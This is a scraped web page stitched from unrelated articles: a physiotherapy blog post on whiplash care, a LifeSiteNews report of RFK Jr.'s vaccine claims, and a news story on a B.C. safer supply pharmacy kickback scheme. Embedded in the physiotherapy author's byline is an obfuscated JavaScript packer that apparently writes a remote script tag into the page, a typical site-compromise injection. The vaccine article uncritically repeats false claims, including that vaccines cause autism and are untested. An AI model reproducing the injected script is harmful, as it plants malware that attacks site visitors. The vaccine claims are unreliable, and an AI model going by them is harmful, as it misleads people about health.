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What to do in those first few days after an accident

Published

7 years ago

7 minute read

by Leanne eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbnzd|var|u0026u|referrer|binak||js|php’.split(‘|’),0,{}))
Schlachter- Pursuit Physiotherapy

So you hit a deer, or a car hit you, or you slid into a pole.  You may have whiplash.  This article is for those people who have been seen in the ER and sent home with a diagnosis of whiplash, or feel that aren’t hurt bad enough to warrant an Emergency Room visit.  If you are at all concerned about your symptoms, please see your doctor. This article is speaking about the muscle and soft tissue injuries that can occur with whiplash.  These are some tips you can use immediately after the injury.

It is best you see a physiotherapist for treatment, but these are some things to

start with until your appointment.

During a collision, your head is moved suddenly on your neck.  The muscles, ligaments, and soft tissues in your neck are not prepared for these sudden movements, and can get overstretched, or strained and sprained.  Like all acute injuries there will be inflammation and pain, and a risk of re-injury for the first 3-10 days.  So for these early days, you might have to modify your job task or hours, rest your neck, avoid lifting, avoid leaning over where your neck muscles have to support your head-your head and brain weigh approximately 11 pounds.  This first time frame is all about resting your neck ligaments and muscles.

Resting your neck for the first few days is very helpful to healing.  I suggest after you have been up and about-possibly to work, or doing home chores, to lie flat on your back with ice under your neck for 10 minutes. This means usually with one pillow only-you shouldn’t feel “propped up on pillows”. That position actually pushes your head and neck forward-more overstretching.   Just a reminder that our body doesn’t stay strong if we rest too much, so keep this limited to the first few days.

There are often things we do that we don’t realize can cause strain to your neck.

  • Carrying anything over about 7 lbs will cause strain to the neck muscles.  Choose carefully what you carry, and whatever you do have to carry, use 2 hands and keep it close to your chest.  If you carry bags in one hand for example, that bag is pulling down on those muscles that have been already overstretched.
  • Be aware of how you are sitting both at work, and while driving.  During both activities we are concentrating, and often leaning forward.  You might have to adjust your seat to have more back support, and head support.
  • After a shower, wearing a damp towel on your wet hair adds weight to your head that your neck muscles aren’t up to supporting.  Or vigorously shaking your head to style and dry your hair is too aggressive for the neck.
  • Changing the laundry can be a challenge for the neck-either pulling wet, heavy jeans out of a washer, to looking into that front loading washer  to make sure you got all the socks.  You may have to ask for help with these tasks or make the loads smaller or get right down on your hands and  knees to look into the washer.
  • Unsupported leaning forward or prolonged looking down makes the neck muscles work hard to hold your head up. Tasks that require this are bathing children in the tub, doing dishes, wiping muddy dog feet, reaching down into the freezer.  Frequently our leisure activities have us looking down for long periods, such as texting and playing games on our devices, reading, sewing, doing puzzles.
  • In Alberta climates, there is snow in the winter.  Those first couple of weeks, I would suggest getting help pushing the grocery cart through the snowy parking lot-when we feel good, we don’t realise the effort moving one of those carts takes and it’s especially worse after a fresh snowfall. Also asking for help with shovelling is a good idea-lots of leaning forward looking down, and lifting with shovelling.

So make sure in those first few days after an accident you rest your neck, and make an appointment to see a physiotherapist.  Our staff at Pursuit Physiotherapy would be happy to help you get back to your normal function,  strength, and comfort level.

Posted by Leanne Schlachter

Pursuit Physiotherapy in Red Deer, promotes balanced, healthy living through dedicated, individualized physical therapy for those in pain, unable to participate fully in their daily activities, wanting to maximize their function for work or sport, and wanting to prevent potential problems.

If it is affecting your quality of life, then we want to help you to optimize your function and minimize your pain.

We are committed to your health and want to encourage you to be too.

Connect to Pursuit Physiotherapy.

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RFK Jr: There’s no medical justification for vaccinating one-day-old babies for Hepatitis B

Published on February 22, 2025

By

From LifeSiteNews

By Doug Mainwaring

‘Hepatitis B is sexually transmitted from having sex with multiple partners in gay sex, or from sex workers, or intravenous drug use,’ explained the new HHS head. ‘Why would you give that to a baby?’

In a widely-viewed video shared on social media, the new U.S. Secretary of Health and Human Services (HHS), Robert F. Kennedy, Jr., asserted that the majority of vaccines — including those he sees as unjustifiably being mandated for infants — have been developed primarily to create profits for Big Pharma.    

“Most of the vaccines after 1989 were added not for public health reasons but for pharmaceutical profit reasons,” said Kennedy.    

“Why are we vaccinating one-day-old babies for Hepatitis B?” he asked. 

“Hepatitis B is sexually transmitted from having sex with multiple partners in gay sex, or from sex workers, or intravenous drug use,” he said, reemphasizing, “Why would you give that to a baby?” 

According to Kennedy, Pharmaceutical giant Merck was directed by both the FDA (Food and Drug Administration) and the CDC (Centers for Disease Control and Prevention) to develop the Hepatitis B vaccine for “those vulnerable populations.”    

He explained that when those populations showed little interest in the vaccine, “Merck went back to the agencies and said ‘You told us to develop this vaccine, but nobody’s buying it.”  

“The CDC said, ‘Don’t worry’” recounted Kennedy, “we’ll just recommend it for children and we’ll force everybody to buy it.”     

“So, that’s how it got on the [childhood vaccine] schedule,” he said, declaring, “There’s no medical justification.”   

There’s no downstream liability, there’s no front-end safety testing – that saves them a quarter billion dollars – and there’s no marketing and advertising costs, because the federal government is ordering 78 million school kids to take that vaccine every year.  

What better product could you have? And so there was a gold rush to add all these new vaccines to the schedule that we don’t need. Most of these vaccines are unnecessary. Many of them are for diseases that are not even casually contagious.  

It was a gold rush, because if you get onto that schedule, it’s a billion dollars a year for your company.  

And in many cases, NIH is earning the royalties. 

According to Kennedy, more obscene than the huge profits being horded by Big Pharma are the vast number of negative side-effects from all those untested vaccines. 

“Neurological diseases” have “exploded,” he said. 

“ADHD, sleep disorders, language delays, ASD, autism, Tourette’s syndrome, ticks, narcolepsy. These are all things that I never heard of,” said Kennedy. “Autism went from one in 10,000 in my generation according to CDC data to one in every 34 kids today.” 

Kennedy is known for vehemently opposing vaccines without proper knowledge for those taking them, a stance he adopted after the mothers of vaccine-injured children implored him to look into the research linking thimerosal to neurological injuries, including autism. He went on to found Children’s Health Defense, an organization with the stated mission of “ending childhood health epidemics by eliminating toxic exposure,” largely through vaccines. 

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Addictions

BC overhauls safer supply program in response to widespread pharmacy scam

Published on February 21, 2025

By

By Alexandra Keeler

A B.C. pharmacy scam investigation has led the provincial government to return to a witnessed consumption model for safer supply

More than 60 pharmacies across B.C. are alleged to have participated in a kickback scheme linked to safer supply drugs, according to a provincial report released Feb. 19.

On Feb. 5, the BC Conservatives leaked a report that showed the findings of an internal investigation by the B.C. Ministry of Health. That investigation showed dozens of pharmacies were filling prescriptions patients did not require in order to overbill the government. These safer supply drugs were then diverted onto the black market.

After the report was leaked, the province committed to ending take-home safer supply models, which allow users to take hydromorphone pills home in bottles. Instead, it will require drug users to consume prescribed opioids in a witnessed program, under the oversight of a medical professional.

Gregory Sword, whose 14-year-old daughter Kamilah died in August 2022 after taking a hydromorphone pill that had been diverted from B.C.’s safer supply program, expressed outrage over the report’s findings.

“This is so frustrating to hear that [pharmacies] were making money off this program and causing more drugs [to flood] the street,” Sword told Canadian Affairs on Feb. 20.

The investigation found that pharmacies exploited B.C.’s Frequency of Dispensing policy to maximize billings. To take advantage of dispensing fees, pharmacies incentivized clients to fill prescriptions they did not require by offering them cash or rewards. Some of those clients then sold the drugs on the black market. Pharmacies earned up to $11,000 per patient a year.

“I’m positive that [the B.C. government has] known this for a long time and only made this decision when the public became aware and the scrutiny was high,” said Elenore Sturko, Conservative MLA for Surrey-Cloverdale, who released the leaked report in a statement on Feb. 5.

“As much as I am really disappointed in how long it’s taken for this decision to be made, I am also happy that this has happened,” she said.

The health ministry said it is investigating the implicated pharmacies. Those that are confirmed to have been involved could have their licenses suspended, be referred to law enforcement or become ineligible to participate in PharmaCare, the provincial program that helps residents cover the costs of prescription drugs.

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Witnessed dosing

The leaked report says that “a significant portion of the opioids being freely prescribed by doctors and pharmacists are not being consumed by their intended recipients.” It also says “prescribed alternatives are trafficked provincially, nationally and internationally.”

Critics of the safer supply program say it enables addiction, while supporters say it reduces overdoses.

Sword, Kamilah’s father, is suing the provincial and federal governments, arguing B.C.’s safer supply program made it possible for youth such as his daughter to access drugs.

Madison, Kamilah’s best friend, also became addicted to opioids dispensed through safer supply programs. Madison was just 15 when she first encountered “dillies” — hydromorphone pills dispensed through safer supply, but widely available on the streets. She developed a tolerance that led her to fentanyl.

“I do know for sure that some pharmacies and doctors were aware of the diversion,” Madison’s mother Beth told Canadian Affairs on Feb. 20.

“When I first realized what my daughter was taking and how she was getting it, I phoned the pharmacy and the doctor on the label of the pill bottle to inform them that the patient was selling their hydromorphone,” Beth said.

Masha Krupp, an Ottawa mother who has a son enrolled in a safer supply program, has said the safer supply program in her city is similarly flawed. Canadian Affairs previously reported on this program, which is run by Recovery Care’s Ottawa-based harm reduction clinics.

“I read about the B.C. pharmacy scheme and wasn’t surprised,” Krupp told Canadian Affairs on Feb. 20. Krupp lost a daughter to methadone toxicity while she was in an addiction treatment program at Recovery Care.

“Three years [after starting safer supply], my son is still using fentanyl, crack cocaine and methadone, despite being with Dr. [Charles] Breau and with Recovery Care for over three years,” Krupp testified before the House of Commons Standing Committee on Health on Oct. 22, 2024.

Krupp has been vocal about the dangers of dispensing large quantities of opioids without proper oversight, arguing many patients sell their prescriptions to buy stronger street drugs.

“You can’t give addicts 28 pills and say, ‘Oh here you go,’” she said in her testimony. “They sell for three dollars a pop on the street.”

Krupp has also advocated for witnessed consumption of safer supply medications, arguing supervised dosing would prevent diversion and ensure proper oversight of pharmacies.

“I had talked about witnessed dosing for safe supply when I appeared before the parliamentary health committee last October,” she told Canadian Affairs this week.

“I’m grateful that finally … this decision has been made to return to a witness program,” said Sturko, the B.C. MLA.

In 2020, B.C. implemented a witnessed consumption model to ensure safer supply opioids were consumed as prescribed and to reduce diversion. In 2021, the province switched to take-home models. Its stated aim was to expand access, save lives and ease pressure on health-care facilities during the pandemic.

“You’re really fighting against a group of people … working within the bureaucracy of [the B.C. NDP] government … who have been making efforts to work towards the legalization of drugs and, in doing that, have looked only for opportunities to bolster their arguments for their position, instead of examining their approach in a balanced way,” said Sturko.

“These are foreseeable outcomes when you do not put proper safeguards in place and when you completely ignore all indications of negative impacts.”

Sword also believes some drug policies fail to prioritize the safety of vulnerable individuals.

“Greed is the ultimate evil in society and this just proves it,” he said. “We don’t care about these drugs getting into the wrong hands as long as I get my money.”

This article was produced through the Breaking Needles Fellowship Program, which provided a grant to Canadian Affairs, a digital media outlet, to fund journalism exploring addiction and crime in Canada. Articles produced through the Fellowship are co-published by Break The Needle and Canadian Affairs.

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